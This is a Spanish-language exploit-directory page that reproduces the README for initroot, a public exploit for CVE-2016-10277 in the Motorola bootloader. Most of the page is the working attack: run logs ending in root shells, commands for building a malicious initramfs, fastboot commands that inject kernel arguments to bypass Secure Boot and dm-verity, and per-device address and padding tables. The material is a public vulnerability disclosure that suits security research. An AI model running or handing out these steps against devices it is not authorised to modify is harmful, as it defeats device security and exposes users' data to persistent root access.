Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
initroot — Motorola Untethered Jailbreak: Explotación de CVE-2016-10277 para eludir Secure Boot y el bloqueo de dispositivos | Kitploit
Herramientas/GitHubGitHub/alephsecurity/initroot
Seguridad AndroidEscalada de PrivilegiosMecanismos de PersistenciaAnálisis de VulnerabilidadesExplotaciónSeguridad MóvilDesarrollo de PayloadsExplotación de Binarios
GitHubalephsecurity/initroot

initroot

Motorola Untethered Jailbreak: Explotación de CVE-2016-10277 para eludir Secure Boot y el bloqueo de dispositivos

842418hace 9 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

initroot: Inyección de argumentos de línea de comandos del kernel en el bootloader de Motorola, bypass del Secure Boot y del bloqueo de dispositivo (CVE-2016-10277)

Por Roee Hay / Aleph Research, HCL Technologies

Primera fase del exploit: Jailbreak atado (tethered)

Este exploit consigue acceso root efímero y sin restricciones en el dispositivo. Por ejemplo, en cedric (se eliminaron algunos mensajes para mayor legibilidad):

$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0xA2100000,1588596
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [  1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ # 

Segunda fase del exploit: Jailbreak no atado (untethered)

Este exploit consigue acceso root persistente en el dispositivo. Por ejemplo, en athene (se eliminaron algunos mensajes para mayor legibilidad):

$ cd ./untethered/athene
$ ./initroot-untethered.sh 
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x92000000,2505052
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [  1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a rdinit= root=/dev/mmcblk0p41
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
rebooting...

finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # 

Cómo crear tu propio archivo initramfs malicioso

  1. Usa el initroot-<device>.cpio.gz incluido o genera el tuyo propio:
$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OR if padding is needed:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz  && rm -fr ../tmp
$ cd ..
  1. Nuestras imágenes initramfs incluidas tienen adb ejecutándose como root por defecto. No pedirán autorización. Además, dm-verity está deshabilitado en las particiones correspondientes.
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
  1. Si usas nuestro initramfs, adb shell te dará ahora una shell root:
$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0

Cómo crear un exploit no atado (untethered) para otros dispositivos Moto

Lee nuestra entrada de blog

Dispositivos verificados

DispositivoCodenameSCRATCH_ADDRPADDINGinitrams incluidoPartición sin usar
Nexus 6shamu0x110000000x0AOSP userdebugmmcblk0p11
Moto G5 (XT1676)cedric0xA01000000x2000000Release, init y adbd parcheados para deshabilitar SELinux, set{u,g}id a shell, eliminación de capacidades, autenticación de adb, etc.mmcblk0p41
Moto G4 (XT1622)athene0x900000000x2000000""mmcblk0p48

Reportado por la comunidad

DispositivoCodenameSCRATCH_ADDRReporteroDescripción
Moto G5 Pluspotter0xA0100000drbeatPropiedad de arranque inyectada. [prueba]
Moto G4 Play (XT1607)harpia0x90000000m-mullinsExplotación completa del Amazon XT1607. [prueba]
Moto G4 Play (XT1609)harpia0x90000000@utoprimeExplotación completa del Verizon XT1609. [prueba]
Moto G4 (XT1625)athene0x90000000@EWorcelInitrd inyectado que causó bucles de arranque. [prueba]
Moto G3osprey0x90000000@asiekierkaInitrd inyectado que causó bucles de arranque. [prueba]
Moto G2 (XT1072)thea0x11000000@TheElixInitrd inyectado que causó bucles de arranque. [prueba]
Moto G (XT1032)falcon_retfr0x11000000Pierre ZurekExplotación completa con 64MB de padding [prueba]
Moto E (XT830C)condor_cdma0x0E000000fetcherExplotación completa del XT830C bloqueado por Tracfone/Verizon con 32MB de padding [prueba]
Otros--@jcase[prueba]

Nota

Esta vulnerabilidad puede afectar también a otros dispositivos Motorola: se necesitará un initramfs distinto. Una dirección física diferente para initrd (SCRATCH_ADDR). PADDING también puede variar.

Demostración en vídeo

Demostración en vídeo de CVE-2016-10277

Descargar herramienta